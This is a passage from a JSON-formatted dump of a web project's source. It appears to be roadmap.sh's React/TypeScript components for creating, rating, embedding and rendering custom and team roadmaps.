    "content": "import { useEffect, useRef, useState } from 'react';\nimport { wireframeJSONToSVG } from 'roadmap-renderer';\nimport { Spinner } from '../ReactIcons/Spinner';\nimport { httpPut } from '../../lib/http';\nimport { renderTopicProgress } from '../../lib/resource-progress';\nimport '../FrameRenderer/FrameRenderer.css';\nimport { useOutsideClick } from '../../hooks/use-outside-click';\nimport { useKeydown } from '../../hooks/use-keydown';\nimport type { TeamResourceConfig } from './RoadmapSelector';\nimport { useToast } from '../../hooks/use-toast';\nimport {replaceChildren} from \"../../lib/dom.ts\";\n\nexport type ProgressMapProps = {\n  teamId: string;\n  resourceId: string;\n  resourceType: 'roadmap' | 'best-practice';\n  defaultRemovedItems?: string[];\n  setTeamResourceConfig: (config: TeamResourceConfig) => void;\n  onClose: () => void;\n};\n\nexport function UpdateTeamResourceModal(props: ProgressMapProps) {\n  const {\n    defaultRemovedItems = [],\n    resourceId,\n    resourceType,\n    teamId,\n    setTeamResourceConfig,\n    onClose,\n  } = props;\n\n  const containerEl = useRef<HTMLDivElement>(null);\n  const popupBodyEl = useRef<HTMLDivElement>(null);\n\n  const toast = useToast();\n  const [isLoading, setIsLoading] = useState(true);\n  const [isUpdating, setIsUpdating] = useState(false);\n\n  const [removedItems, setRemovedItems] =\n    useState<string[]>(defaultRemovedItems);\n\n  useEffect(() => {\n    function onTopicClick(e: any) {\n      const groupEl = e.target.closest('.clickable-group');\n      const groupId = groupEl?.dataset?.groupId;\n\n      if (!groupId) {\n        return;\n      }\n\n      const normalizedGroupId = groupId.replace(/^\\d+-/, '');\n      if (removedItems.includes(normalizedGroupId)) {\n        setRemovedItems((prev) =>\n          prev.filter((id) => id !== normalizedGroupId)\n        );\n        renderTopicProgress(normalizedGroupId, 'reset' as any);\n      } else {\n        setRemovedItems((prev) => [...prev, normalizedGroupId]);\n        renderTopicProgress(normalizedGroupId, 'removed');\n      }\n    }\n\n    document.addEventListener('click', onTopicClick);\n    return () => {\n      document.removeEventListener('click', onTopicClick);\n    };\n  }, [removedItems]);\n\n  let resourceJsonUrl = import.meta.env.DEV\n    ? 'http://localhost:3000'\n    : 'https://roadmap.sh';\n  if (resourceType === 'roadmap') {\n    resourceJsonUrl += `/${resourceId}.json`;\n  } else {\n    resourceJsonUrl += `/best-practices/${resourceId}.json`;\n  }\n\n  async function renderResource(jsonUrl: string) {\n    const res = await fetch(jsonUrl);\n    const json = await res.json();\n    const svg = await wireframeJSONToSVG(json, {\n      fontURL: '/fonts/balsamiq.woff2',\n    });\n\n    replaceChildren(containerEl.current!, svg);\n    // containerEl.current?.replaceChildren(svg);\n\n    // Render team configuration\n    removedItems.forEach((topicId: string) => {\n      renderTopicProgress(topicId, 'removed');\n    });\n  }\n\n  useKeydown('Escape', () => {\n    onClose();\n  });\n\n  useOutsideClick(popupBodyEl, () => {\n    onClose();\n  });\n\n  async function onSaveChanges() {\n    if (removedItems.length === 0) {\n      return;\n    }\n\n    setIsUpdating(true);\n    const { error, response } = await httpPut<TeamResourceConfig>(\n      `${\n        import.meta.env.PUBLIC_API_URL\n      }/v1-update-team-resource-config/${teamId}`,\n      {\n        teamId: teamId,\n        resourceId: resourceId,\n        resourceType: resourceType,\n        removed: removedItems,\n      }\n    );\n\n    if (error || !response) {\n      toast.error(error?.message || 'Error adding roadmap');\n      return;\n    }\n\n    setTeamResourceConfig(response);\n    onClose();\n  }\n\n  useEffect(() => {\n    if (\n      !containerEl.current ||\n      !resourceJsonUrl ||\n      !resourceId ||\n      !resourceType ||\n      !teamId\n    ) {\n      return;\n    }\n\n    renderResource(resourceJsonUrl)\n      .catch((err) => {\n        console.error(err);\n        toast.error('Something went wrong. Please try again!');\n      })\n      .finally(() => {\n        setIsLoading(false);\n      });\n  }, []);\n\n  return (\n    <div className=\"fixed left-0 right-0 top-0 z-100 h-full items-center justify-center overflow-y-auto overflow-x-hidden overscroll-contain bg-black/50\">\n      <div className=\"relative mx-auto h-full w-full max-w-4xl p-4 md:h-auto\">\n        <div\n          id={'customized-roadmap'}\n          ref={popupBodyEl}\n          className=\"popup-body relative rounded-lg bg-white shadow-sm\"\n        >\n          <div\n            className={\n              'sticky top-0 mb-3 rounded-2xl border-4 border-white bg-black p-4'\n            }\n          >\n            <p className=\"mb-2 text-gray-300\">\n              Click and select the items to remove from the roadmap.\n            </p>\n            <div className=\"flex flex-row items-center gap-1.5\">\n              <button\n                disabled={removedItems.length === 0}\n                onClick={() =>\n                  onSaveChanges().finally(() => setIsUpdating(false))\n                }\n                className={\n                  'rounded-md bg-blue-600 px-2.5 py-1.5 text-sm text-white hover:bg-blue-700 disabled:cursor-not-allowed disabled:bg-blue-400'\n                }\n              >\n                {isUpdating ? (\n                  <span className={'flex items-center gap-1.5'}>\n                    <Spinner\n                      className=\"h-3 w-3\"\n                      innerFill=\"white\"\n                      isDualRing={false}\n                    />{' '}\n                    Saving ..\n                  </span>\n                ) : (\n                  'Save Changes'\n                )}\n              </button>\n              <button\n                onClick={onClose}\n                className=\"rounded-md bg-gray-600 px-2.5 py-1.5 text-sm text-white hover:bg-gray-700\"\n              >\n                Cancel\n              </button>\n            </div>\n          </div>\n          <div id=\"resource-svg-wrap\" ref={containerEl} className=\"px-4\"></div>\n\n          {isLoading && (\n            <div className=\"flex w-full justify-center\">\n              <Spinner\n                isDualRing={false}\n                className=\"mb-4 mt-2 h-4 w-4 animate-spin fill-blue-600 text-gray-200 sm:h-8 sm:w-8\"\n              />\n            </div>\n          )}\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/CustomRoadmap/CreateRoadmap/CreateRoadmapButton.tsx",
    "content": "import { Plus } from 'lucide-react';\nimport { isLoggedIn } from '../../../lib/jwt';\nimport { showLoginPopup } from '../../../lib/popup';\nimport { cn } from '../../../lib/classname';\nimport { CreateRoadmapModal } from './CreateRoadmapModal';\nimport { useState } from 'react';\nimport { useIsPaidUser } from '../../../queries/billing';\nimport { UpgradeAccountModal } from '../../Billing/UpgradeAccountModal';\nimport { MAX_ROADMAP_LIMIT } from '../RoadmapListPage';\n\ntype CreateRoadmapButtonProps = {\n  className?: string;\n  existingRoadmapCount?: number;\n  text?: string;\n  teamId?: string;\n};\n\nexport function CreateRoadmapButton(props: CreateRoadmapButtonProps) {\n  const {\n    teamId,\n    className,\n    text = 'Create your own Roadmap',\n    existingRoadmapCount = 0,\n  } = props;\n\n  const [isCreatingRoadmap, setIsCreatingRoadmap] = useState(false);\n  const [showUpgradeModal, setShowUpgradeModal] = useState(false);\n  const { isPaidUser, isLoading: isPaidUserLoading } = useIsPaidUser();\n\n  function toggleCreateRoadmapHandler() {\n    if (!isLoggedIn()) {\n      return showLoginPopup();\n    }\n\n    const hasExceededLimit =\n      !isPaidUser &&\n      existingRoadmapCount > 0 &&\n      existingRoadmapCount >= MAX_ROADMAP_LIMIT;\n\n    if (hasExceededLimit) {\n      setShowUpgradeModal(true);\n      return;\n    }\n\n    setIsCreatingRoadmap(true);\n  }\n\n  return (\n    <>\n      {showUpgradeModal && (\n        <UpgradeAccountModal onClose={() => setShowUpgradeModal(false)} />\n      )}\n\n      {isCreatingRoadmap && (\n        <CreateRoadmapModal\n          teamId={teamId}\n          onClose={() => {\n            setIsCreatingRoadmap(false);\n          }}\n        />\n      )}\n\n      <button\n        className={cn(\n          'flex h-full w-full items-center justify-center gap-1 overflow-hidden rounded-md border border-dashed border-gray-800 p-3 text-sm text-gray-400 hover:border-gray-600 hover:bg-gray-900 hover:text-gray-300',\n          className,\n        )}\n        onClick={toggleCreateRoadmapHandler}\n      >\n        <Plus size={16} />\n        {text}\n      </button>\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/CustomRoadmap/CreateRoadmap/CreateRoadmapModal.tsx",
    "content": "import {\n  type FormEvent,\n  type MouseEvent,\n  useEffect,\n  useRef,\n  useState,\n} from 'react';\nimport { Loader2 } from 'lucide-react';\nimport { Modal } from '../../Modal';\nimport { useToast } from '../../../hooks/use-toast';\nimport { httpPost } from '../../../lib/http';\nimport { cn } from '../../../lib/classname';\n\nexport const allowedRoadmapVisibility = [\n  'me',\n  'friends',\n  'team',\n  'public',\n] as const;\nexport type AllowedRoadmapVisibility =\n  (typeof allowedRoadmapVisibility)[number];\nexport const allowedCustomRoadmapType = ['role', 'skill'] as const;\nexport type AllowedCustomRoadmapType =\n  (typeof allowedCustomRoadmapType)[number];\n\nexport const allowedShowcaseStatus = [\n  'submitted',\n  'approved',\n  'rejected',\n  'rejected_with_reason',\n] as const;\nexport type AllowedShowcaseStatus = (typeof allowedShowcaseStatus)[number];\n\nexport interface RoadmapDocument {\n  _id: string;\n  title: string;\n  description?: string;\n  slug?: string;\n  creatorId: string;\n  aiRoadmapId?: string;\n  teamId?: string;\n  topicCount: number;\n  visibility: AllowedRoadmapVisibility;\n  sharedFriendIds?: string[];\n  sharedTeamMemberIds?: string[];\n  feedbacks?: {\n    userId: string;\n    email: string;\n    feedback: string;\n  }[];\n  metadata?: {\n    originalRoadmapId?: string;\n    defaultRoadmapId?: string;\n  };\n  nodes: any[];\n  edges: any[];\n\n  isDiscoverable?: boolean;\n  ratings: {\n    average: number;\n    totalCount: number;\n    breakdown: {\n      [key: number]: number;\n    };\n  };\n\n  showcaseStatus?: AllowedShowcaseStatus;\n  showcaseRejectedReason?: string;\n  showcaseRejectedAt?: Date;\n  showcaseSubmittedAt?: Date;\n  showcaseApprovedAt?: Date;\n\n  hasMigratedContent?: boolean;\n\n  createdAt: Date;\n  updatedAt: Date;\n}\n\ninterface CreateRoadmapModalProps {\n  onClose: () => void;\n  onCreated?: (roadmap: RoadmapDocument) => void;\n  teamId?: string;\n  visibility?: AllowedRoadmapVisibility;\n}\n\nexport function CreateRoadmapModal(props: CreateRoadmapModalProps) {\n  const { onClose, onCreated, teamId } = props;\n\n  const titleRef = useRef<HTMLInputElement>(null);\n  const toast = useToast();\n\n  const [isLoading, setIsLoading] = useState(false);\n  const [title, setTitle] = useState('');\n  const [description, setDescription] = useState('');\n  const isInvalidDescription = description?.trim().length > 80;\n\n  async function handleSubmit(\n    e: FormEvent<HTMLFormElement> | MouseEvent<HTMLButtonElement>,\n    redirect: boolean = true,\n  ) {\n    e.preventDefault();\n    if (isLoading) {\n      return;\n    }\n\n    if (title.trim() === '' || isInvalidDescription) {\n      toast.error('Please fill all the fields');\n      return;\n    }\n\n    setIsLoading(true);\n    const { response, error } = await httpPost<RoadmapDocument>(\n      `${import.meta.env.PUBLIC_API_URL}/v1-create-roadmap`,\n      {\n        title,\n        description,\n        ...(teamId && {\n          teamId,\n        }),\n        nodes: [],\n        edges: [],\n      },\n    );\n\n    if (error) {\n      setIsLoading(false);\n      toast.error(error?.message || 'Something went wrong, please try again');\n      return;\n    }\n\n    toast.success('Roadmap created successfully');\n    if (redirect) {\n      window.location.href = `${\n        import.meta.env.PUBLIC_EDITOR_APP_URL\n      }/${response?._id}`;\n      return;\n    }\n\n    if (onCreated) {\n      onCreated(response as RoadmapDocument);\n      return;\n    }\n\n    onClose();\n\n    setTitle('');\n    setDescription('');\n    setIsLoading(false);\n  }\n\n  useEffect(() => {\n    titleRef.current?.focus();\n  }, []);\n\n  return (\n    <Modal\n      onClose={onClose}\n      bodyClassName=\"p-4\"\n      wrapperClassName={cn(teamId && 'max-w-lg')}\n    >\n      <div className=\"mb-4\">\n        <h2 className=\"text-lg font-medium text-gray-900\">Create Roadmap</h2>\n        <p className=\"mt-1 text-sm text-gray-500\">\n          Add a title and description to your roadmap.\n        </p>\n      </div>\n      <form onSubmit={handleSubmit}>\n        <div className=\"mt-4\">\n          <label\n            htmlFor=\"title\"\n            className=\"block text-xs uppercase text-gray-400\"\n          >\n            Roadmap Title\n          </label>\n          <div className=\"mt-1\">\n            <input\n              ref={titleRef}\n              type=\"text\"\n              name=\"title\"\n              id=\"title\"\n              required\n              className=\"block w-full rounded-md border border-gray-300 px-2.5 py-2 text-black outline-hidden focus:border-black sm:text-sm\"\n              placeholder=\"Enter Title\"\n              value={title}\n              onChange={(e) => setTitle(e.target.value)}\n            />\n          </div>\n        </div>\n        <div className=\"mt-4\">\n          <label\n            htmlFor=\"description\"\n            className=\"block text-xs uppercase text-gray-400\"\n          >\n            Description\n          </label>\n          <div className=\"relative mt-1\">\n            <textarea\n              id=\"description\"\n              name=\"description\"\n              required\n              className={cn(\n                'block h-24 w-full resize-none rounded-md border border-gray-300 px-2.5 py-2 text-black outline-hidden focus:border-black sm:text-sm',\n                isInvalidDescription && 'border-red-300 bg-red-100',\n              )}\n              placeholder=\"Enter Description\"\n              value={description}\n              onChange={(e) => setDescription(e.target.value)}\n            />\n            <div className=\"absolute bottom-2 right-2 text-xs text-gray-400\">\n              {description.length}/80\n            </div>\n          </div>\n        </div>\n\n        <div\n          className={cn('mt-4 flex justify-between gap-2', teamId && 'mt-8')}\n        >\n          <button\n            onClick={onClose}\n            type=\"button\"\n            className={cn(\n              'block h-9 rounded-md border border-gray-200 bg-white px-4 py-2 text-sm font-medium text-black outline-hidden hover:border-gray-300 hover:bg-gray-50 focus:border-gray-300 focus:bg-gray-100',\n              !teamId && 'w-full',\n            )}\n          >\n            Cancel\n          </button>\n\n          <div className={cn('flex items-center gap-2', !teamId && 'w-full')}>\n            {teamId && !isLoading && (\n              <button\n                disabled={isLoading}\n                type=\"button\"\n                onClick={(e) => handleSubmit(e, false)}\n                className=\"flex h-9 items-center justify-center rounded-md border border-black bg-white px-4 py-2 text-sm font-medium text-black outline-hidden hover:bg-black hover:text-white focus:bg-black focus:text-white\"\n              >\n                {isLoading ? (\n                  <Loader2 size={16} className=\"animate-spin\" />\n                ) : (\n                  'Save as Placeholder'\n                )}\n              </button>\n            )}\n\n            <button\n              disabled={isLoading}\n              type=\"submit\"\n              className={cn(\n                'flex h-9 items-center justify-center rounded-md border border-transparent bg-black px-4 py-2 text-sm font-medium text-white outline-hidden hover:bg-gray-800 focus:bg-gray-800',\n                teamId ? 'hidden sm:flex' : 'w-full',\n              )}\n            >\n              {isLoading ? (\n                <Loader2 size={16} className=\"animate-spin\" />\n              ) : teamId ? (\n                'Continue to Editor'\n              ) : (\n                'Create'\n              )}\n            </button>\n          </div>\n        </div>\n        {teamId && (\n          <>\n            <p className=\"mt-4 hidden rounded-md border border-orange-200 bg-orange-50 p-2.5 text-sm text-orange-600 sm:block\">\n              Preparing the roadmap might take some time, feel free to save it\n              as a placeholder and anyone with the role <strong>admin</strong>{' '}\n              or <strong>manager</strong> can prepare it later.\n            </p>\n            <p className=\"mt-4 rounded-md border border-orange-200 bg-orange-50 p-2.5 text-sm text-orange-600 sm:hidden\">\n              Create a placeholder now and prepare it later.\n            </p>\n          </>\n        )}\n      </form>\n    </Modal>\n  );\n}\n"
  },
  {
    "path": "src/components/CustomRoadmap/CustomRoadmap.tsx",
    "content": "import { useEffect, useState } from 'react';\nimport { getUrlParams } from '../../lib/browser';\nimport { RoadmapHeader } from './RoadmapHeader';\nimport { TopicDetail } from '../TopicDetail/TopicDetail';\nimport type { RoadmapDocument } from './CreateRoadmap/CreateRoadmapModal';\nimport { currentRoadmap } from '../../stores/roadmap';\nimport { RestrictedPage } from './RestrictedPage';\nimport { FlowRoadmapRenderer } from './FlowRoadmapRenderer';\nimport { useQuery } from '@tanstack/react-query';\nimport { queryClient } from '../../stores/query-client';\nimport { httpGet, type FetchError } from '../../lib/query-http';\nimport { useCustomRoadmap } from '../../hooks/use-custom-roadmap';\n\nexport const allowedLinkTypes = [\n  'video',\n  'article',\n  'opensource',\n  'course',\n  'website',\n  'podcast',\n  'roadmap.sh',\n  'official',\n  'roadmap',\n  'feed',\n] as const;\n\nexport type AllowedLinkTypes = (typeof allowedLinkTypes)[number];\n\nexport interface RoadmapContentDocument {\n  _id?: string;\n  roadmapId: string;\n  nodeId: string;\n  title: string;\n  description: string;\n  links: {\n    id: string;\n    type: AllowedLinkTypes;\n    title: string;\n    url: string;\n  }[];\n}\n\nexport type CreatorType = {\n  id: string;\n  name: string;\n  avatar: string;\n};\n\nexport type GetRoadmapResponse = RoadmapDocument & {\n  canManage: boolean;\n  creator?: CreatorType;\n  team?: CreatorType;\n  unseenRatingCount: number;\n};\n\nexport function hideRoadmapLoader() {\n  const loaderEl = document.querySelector(\n    '[data-roadmap-loader]',\n  ) as HTMLElement;\n  if (loaderEl) {\n    loaderEl.remove();\n  }\n}\n\ntype CustomRoadmapProps = {\n  isEmbed?: boolean;\n  slug?: string;\n};\n\nexport function CustomRoadmap(props: CustomRoadmapProps) {\n  const { isEmbed = false, slug } = props;\n\n  const { id, secret } = getUrlParams() as { id: string; secret: string };\n\n  const [isLoading, setIsLoading] = useState(true);\n  const [roadmap, setRoadmap] = useState<GetRoadmapResponse | null>(null);\n\n  const { data, error } = useCustomRoadmap({\n    id,\n    secret,\n    slug,\n  });\n\n  useEffect(() => {\n    if (!data) {\n      return;\n    }\n\n    document.title = `${data.title} - roadmap.sh`;\n    setRoadmap(data);\n    currentRoadmap.set(data);\n    setIsLoading(false);\n    hideRoadmapLoader();\n  }, [data]);\n\n  useEffect(() => {\n    if (!error) {\n      return;\n    }\n\n    setIsLoading(false);\n    hideRoadmapLoader();\n  }, [error]);\n\n  if (isLoading) {\n    return null;\n  }\n\n  if (error) {\n    return <RestrictedPage error={error} />;\n  }\n\n  return (\n    <>\n      {!isEmbed && <RoadmapHeader />}\n      <FlowRoadmapRenderer isEmbed={isEmbed} roadmap={roadmap!} />\n      <TopicDetail\n        resourceId={roadmap!._id}\n        resourceTitle={roadmap!.title}\n        resourceType=\"roadmap\"\n        renderer='editor'\n        isEmbed={isEmbed}\n        canSubmitContribution={false}\n      />\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/CustomRoadmap/CustomRoadmapAlert.tsx",
    "content": "import {\n  BadgeCheck,\n  Heart,\n  HeartHandshake,\n  MessageCircleHeart,\n  PencilRuler,\n  Search,\n} from 'lucide-react';\nimport { showLoginPopup } from '../../lib/popup.ts';\nimport { isLoggedIn } from '../../lib/jwt.ts';\nimport { useState } from 'react';\nimport { CreateRoadmapModal } from './CreateRoadmap/CreateRoadmapModal.tsx';\nimport { RoadmapAlert } from '../RoadmapAlert.tsx';\n\nexport function CustomRoadmapAlert() {\n  const [isCreatingRoadmap, setIsCreatingRoadmap] = useState(false);\n\n  return (\n    <>\n      {isCreatingRoadmap && (\n        <CreateRoadmapModal\n          onClose={() => {\n            setIsCreatingRoadmap(false);\n          }}\n        />\n      )}\n\n      <RoadmapAlert\n        title=\"Community Roadmaps\"\n        description={\n          <>\n            This is a custom roadmap made by a community member and is not\n            verified by <span className=\"font-semibold\">roadmap.sh</span>\n          </>\n        }\n        floatingIcon={MessageCircleHeart}\n        className=\"mb-5 mt-0 sm:-mt-6 sm:mb-7\"\n      />\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/CustomRoadmap/CustomRoadmapRatings.tsx",
    "content": "import { useState } from 'react';\nimport { Rating } from '../Rating/Rating';\nimport type { RoadmapDocument } from './CreateRoadmap/CreateRoadmapModal';\nimport { CustomRoadmapRatingsModal } from './CustomRoadmapRatingsModal';\nimport { Star } from 'lucide-react';\nimport { isLoggedIn } from '../../lib/jwt.ts';\nimport { showLoginPopup } from '../../lib/popup.ts';\n\ntype CustomRoadmapRatingsProps = {\n  roadmapSlug: string;\n  ratings: RoadmapDocument['ratings'];\n  canManage?: boolean;\n  unseenRatingCount: number;\n};\n\nexport function CustomRoadmapRatings(props: CustomRoadmapRatingsProps) {\n  const { ratings, roadmapSlug, canManage, unseenRatingCount } = props;\n  const average = ratings?.average || 0;\n\n  const totalPeopleWhoRated = Object.keys(ratings?.breakdown || {}).reduce(\n    (acc, key) => acc + ratings?.breakdown[key as any],\n    0,\n  );\n\n  const [isDetailsOpen, setIsDetailsOpen] = useState(false);\n\n  return (\n    <>\n      {isDetailsOpen && (\n        <CustomRoadmapRatingsModal\n          roadmapSlug={roadmapSlug}\n          onClose={() => {\n            setIsDetailsOpen(false);\n          }}\n          ratings={ratings}\n          canManage={canManage}\n        />\n      )}\n      {average === 0 && (\n        <>\n          {!canManage && (\n            <button\n              className=\"flex h-[34px] items-center gap-2 rounded-md border border-gray-300 bg-white py-1 pl-2 pr-3 text-sm font-medium hover:border-black\"\n              onClick={() => {\n                if (!isLoggedIn()) {\n                  showLoginPopup();\n                  return;\n                }\n\n                setIsDetailsOpen(true);\n              }}\n            >\n              <Star className=\"size-4 fill-yellow-400 text-yellow-400\" />\n              <span className=\"hidden md:block\">Rate this roadmap</span>\n              <span className=\"block md:hidden\">Rate</span>\n            </button>\n          )}\n          {canManage && (\n            <span className=\"flex h-[34px] cursor-default items-center gap-2 rounded-md border border-gray-300 bg-white py-1 pl-2 pr-3 text-sm font-medium opacity-50\">\n              <Star className=\"size-4 fill-yellow-400 text-yellow-400\" />\n              <span className=\"hidden md:block\">No ratings yet</span>\n              <span className=\"block md:hidden\">Rate</span>\n            </span>\n          )}\n        </>\n      )}\n\n      {average > 0 && (\n        <button\n          className=\"relative flex h-[34px] items-center gap-2 rounded-md border border-gray-300 bg-white py-1 pl-2 pr-3 text-sm font-medium hover:border-black\"\n          onClick={() => {\n            setIsDetailsOpen(true);\n          }}\n        >\n          {average.toFixed(1)}\n          <span className=\"hidden lg:block\">\n            <Rating\n              starSize={16}\n              rating={average}\n              className={'pointer-events-none gap-px'}\n              readOnly\n            />\n          </span>\n          <span className=\"lg:hidden\">\n            <Star className=\"size-5 fill-yellow-400 text-yellow-400\" />\n          </span>\n          ({totalPeopleWhoRated})\n          {canManage && unseenRatingCount > 0 && (\n            <span className=\"absolute right-0 top-0 flex size-4 -translate-y-1/2 translate-x-1/2 items-center justify-center rounded-full bg-red-500 text-[10px] font-medium leading-none text-white\">\n              {unseenRatingCount}\n            </span>\n          )}\n        </button>\n      )}\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/CustomRoadmap/CustomRoadmapRatingsModal.tsx",
    "content": "import { useState } from 'react';\nimport { Modal } from '../Modal';\nimport type { RoadmapDocument } from './CreateRoadmap/CreateRoadmapModal';\nimport { RateRoadmapForm } from './RateRoadmapForm';\nimport { ListRoadmapRatings } from './ListRoadmapRatings';\n\ntype ActiveTab = 'ratings' | 'feedback';\n\ntype CustomRoadmapRatingsModalProps = {\n  onClose: () => void;\n  roadmapSlug: string;\n  ratings: RoadmapDocument['ratings'];\n  canManage?: boolean;\n};\n\nexport function CustomRoadmapRatingsModal(\n  props: CustomRoadmapRatingsModalProps,\n) {\n  const { onClose, ratings, roadmapSlug, canManage = false } = props;\n\n  const [activeTab, setActiveTab] = useState<ActiveTab>(\n    canManage ? 'feedback' : 'ratings',\n  );\n\n  const tabs: {\n    id: ActiveTab;\n    label: string;\n  }[] = [\n    {\n      id: 'ratings',\n      label: 'Ratings',\n    },\n    {\n      id: 'feedback',\n      label: 'Feedback',\n    },\n  ];\n\n  return (\n    <Modal\n      onClose={onClose}\n      bodyClassName=\"bg-transparent shadow-none\"\n      wrapperClassName=\"h-auto\"\n      overlayClassName=\"items-start md:items-center\"\n    >\n      {activeTab === 'ratings' && (\n        <RateRoadmapForm\n          ratings={ratings}\n          roadmapSlug={roadmapSlug}\n          canManage={canManage}\n        />\n      )}\n      {activeTab === 'feedback' && (\n        <ListRoadmapRatings ratings={ratings} roadmapSlug={roadmapSlug} />\n      )}\n    </Modal>\n  );\n}\n"
  },
  {
    "path": "src/components/CustomRoadmap/EmbedRoadmapModal.tsx",
    "content": "import { useStore } from '@nanostores/react';\nimport { Check, Copy } from 'lucide-react';\n\nimport { Modal } from '../Modal';\nimport { useToast } from '../../hooks/use-toast';\nimport { useCopyText } from '../../hooks/use-copy-text';\nimport { currentRoadmap, isCurrentRoadmapPersonal } from '../../stores/roadmap';\nimport { cn } from '../../lib/classname.ts';\n\ntype ShareRoadmapModalProps = {\n  onClose: () => void;\n};\n\nexport function EmbedRoadmapModal(props: ShareRoadmapModalProps) {\n  const { onClose } = props;\n\n  const toast = useToast();\n  const $currentRoadmap = useStore(currentRoadmap);\n  const $isCurrentRoadmapPersonal = useStore(isCurrentRoadmapPersonal);\n  const roadmapId = $currentRoadmap?._id!;\n\n  const { copyText, isCopied } = useCopyText();\n\n  const isDev = import.meta.env.DEV;\n  const baseUrl = isDev ? 'http://localhost:3000' : 'https://roadmap.sh';\n\n  const embedHtml = `<iframe src=\"${baseUrl}/r/embed?id=${roadmapId}\" width=\"100%\" height=\"500px\" frameBorder=\"0\"\\n></iframe>`;\n\n  return (\n    <Modal onClose={onClose} wrapperClassName={'max-w-[500px]'}>\n      <div className=\"p-4 pb-0\">\n        <h1 className=\"text-xl font-semibold leading-5 text-gray-900\">\n          Embed Roadmap\n        </h1>\n      </div>\n\n      <div className=\"px-4 pt-3\">\n        <p className={'mb-2 text-sm text-gray-500'}>\n          Copy the following HTML code and paste it into your website.\n        </p>\n        <input\n          type=\"text\"\n          value={embedHtml}\n          readOnly={true}\n          onClick={(e) => {\n            e.currentTarget.select();\n            copyText(embedHtml);\n          }}\n          className=\"w-full resize-none rounded-md border bg-gray-50 p-2 text-sm\"\n        />\n      </div>\n\n      <div className=\"flex items-center justify-between px-4 pb-4 pt-2\">\n        <button\n          className={cn(\n            'flex h-9 w-full items-center justify-center rounded-md border border-transparent px-4 py-2 text-sm font-medium text-white outline-hidden',\n            {\n              'bg-green-500 hover:bg-green-600 focus:bg-green-600': isCopied,\n              'bg-gray-900 hover:bg-gray-800 focus:bg-gray-800': !isCopied,\n            },\n          )}\n          onClick={() => {\n            copyText(embedHtml);\n          }}\n        >\n          {isCopied ? (\n            <>\n              <Check size={14} className=\"mr-2 stroke-[2.5]\" />\n              Copied\n            </>\n          ) : (\n            <>\n              <Copy size={14} className=\"mr-2 stroke-[2.5]\" />\n              Copy Link\n            </>\n          )}\n        </button>\n      </div>\n    </Modal>\n  );\n}\n"
  },
  {
    "path": "src/components/CustomRoadmap/EmptyRoadmap.tsx",
    "content": "import { CircleSlash, PenSquare, Shapes } from 'lucide-react';\nimport { cn } from '../../lib/classname';\n\ntype EmptyRoadmapProps = {\n  roadmapId: string;\n  canManage: boolean;\n  className?: string;\n};\n\nexport function EmptyRoadmap(props: EmptyRoadmapProps) {\n  const { roadmapId, canManage, className } = props;\n  const editUrl = `${import.meta.env.PUBLIC_EDITOR_APP_URL}/${roadmapId}`;\n\n  return (\n    <div className={cn('flex h-full items-center justify-center', className)}>\n      <div className=\"flex flex-col items-center\">\n        <CircleSlash className=\"mx-auto h-20 w-20 text-gray-400\" />\n        <h3 className=\"mt-2\">This roadmap is currently empty.</h3>\n\n        {canManage && (\n          <a\n            href={editUrl}\n            className=\"mt-4 flex items-center rounded-md bg-gray-500 px-4 py-2 font-medium text-white hover:bg-gray-600\"\n          >\n            <Shapes className=\"mr-2 inline-block h-4 w-4\" />\n            Edit Roadmap\n          </a>\n        )}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/CustomRoadmap/FlowRoadmapRenderer.tsx",
    "content": "import { ReadonlyEditor } from '@roadmapsh/editor';\nimport type { RoadmapDocument } from './CreateRoadmap/CreateRoadmapModal';\nimport {\n  refreshProgressCounters,\n  renderResourceProgress,\n  renderTopicProgress,\n  type ResourceProgressType,\n  updateResourceProgress,\n} from '../../lib/resource-progress';\nimport { pageProgressMessage } from '../../stores/page';\nimport { useToast } from '../../hooks/use-toast';\nimport type { Node } from '@roadmapsh/editor';\nimport { type MouseEvent, useCallback, useRef, useState } from 'react';\nimport { EmptyRoadmap } from './EmptyRoadmap';\nimport { cn } from '../../lib/classname';\nimport { totalRoadmapNodes } from '../../stores/roadmap.ts';\n\ntype FlowRoadmapRendererProps = {\n  isEmbed?: boolean;\n  roadmap: RoadmapDocument & {\n    canManage?: boolean\n  };\n};\n\nexport function FlowRoadmapRenderer(props: FlowRoadmapRendererProps) {\n  const { roadmap, isEmbed = false } = props;\n  const roadmapId = String(roadmap._id!);\n\n  const [hideRenderer, setHideRenderer] = useState(false);\n  const editorWrapperRef = useRef<HTMLDivElement>(null);\n\n  const toast = useToast();\n\n  async function updateTopicStatus(\n    topicId: string,\n    newStatus: ResourceProgressType,\n  ) {\n    if (isEmbed) {\n      return;\n    }\n\n    pageProgressMessage.set('Updating progress');\n    updateResourceProgress(\n      {\n        resourceId: roadmapId,\n        resourceType: 'roadmap',\n        topicId,\n      },\n      newStatus,\n    )\n      .then(() => {\n        renderTopicProgress(topicId, newStatus);\n      })\n      .catch((err) => {\n        toast.error('Something went wrong, please try again.');\n        console.error(err);\n      })\n      .finally(() => {\n        pageProgressMessage.set('');\n        refreshProgressCounters();\n      });\n\n    return;\n  }\n\n  const handleTopicRightClick = useCallback((e: MouseEvent, node: Node) => {\n    const target =\n      node?.type === 'todo'\n        ? document.querySelector(`[data-id=\"${node.id}\"]`)\n        : (e?.currentTarget as HTMLDivElement);\n    if (!target) {\n      return;\n    }\n\n    const isCurrentStatusDone = target?.classList.contains('done');\n    updateTopicStatus(node.id, isCurrentStatusDone ? 'pending' : 'done');\n  }, []);\n\n  const handleTopicShiftClick = useCallback((e: MouseEvent, node: Node) => {\n    const target = e?.currentTarget as HTMLDivElement;\n    if (!target) {\n      return;\n    }\n\n    const isCurrentStatusLearning = target?.classList.contains('learning');\n    updateTopicStatus(\n      node.id,\n      isCurrentStatusLearning ? 'pending' : 'learning',\n    );\n  }, []);\n\n  const handleTopicAltClick = useCallback((e: MouseEvent, node: Node) => {\n    const target = e?.currentTarget as HTMLDivElement;\n    if (!target) {\n      return;\n    }\n\n    const isCurrentStatusSkipped = target?.classList.contains('skipped');\n    updateTopicStatus(node.id, isCurrentStatusSkipped ? 'pending' : 'skipped');\n  }, []);\n\n  const handleTopicClick = useCallback((e: MouseEvent, node: Node) => {\n    const target = 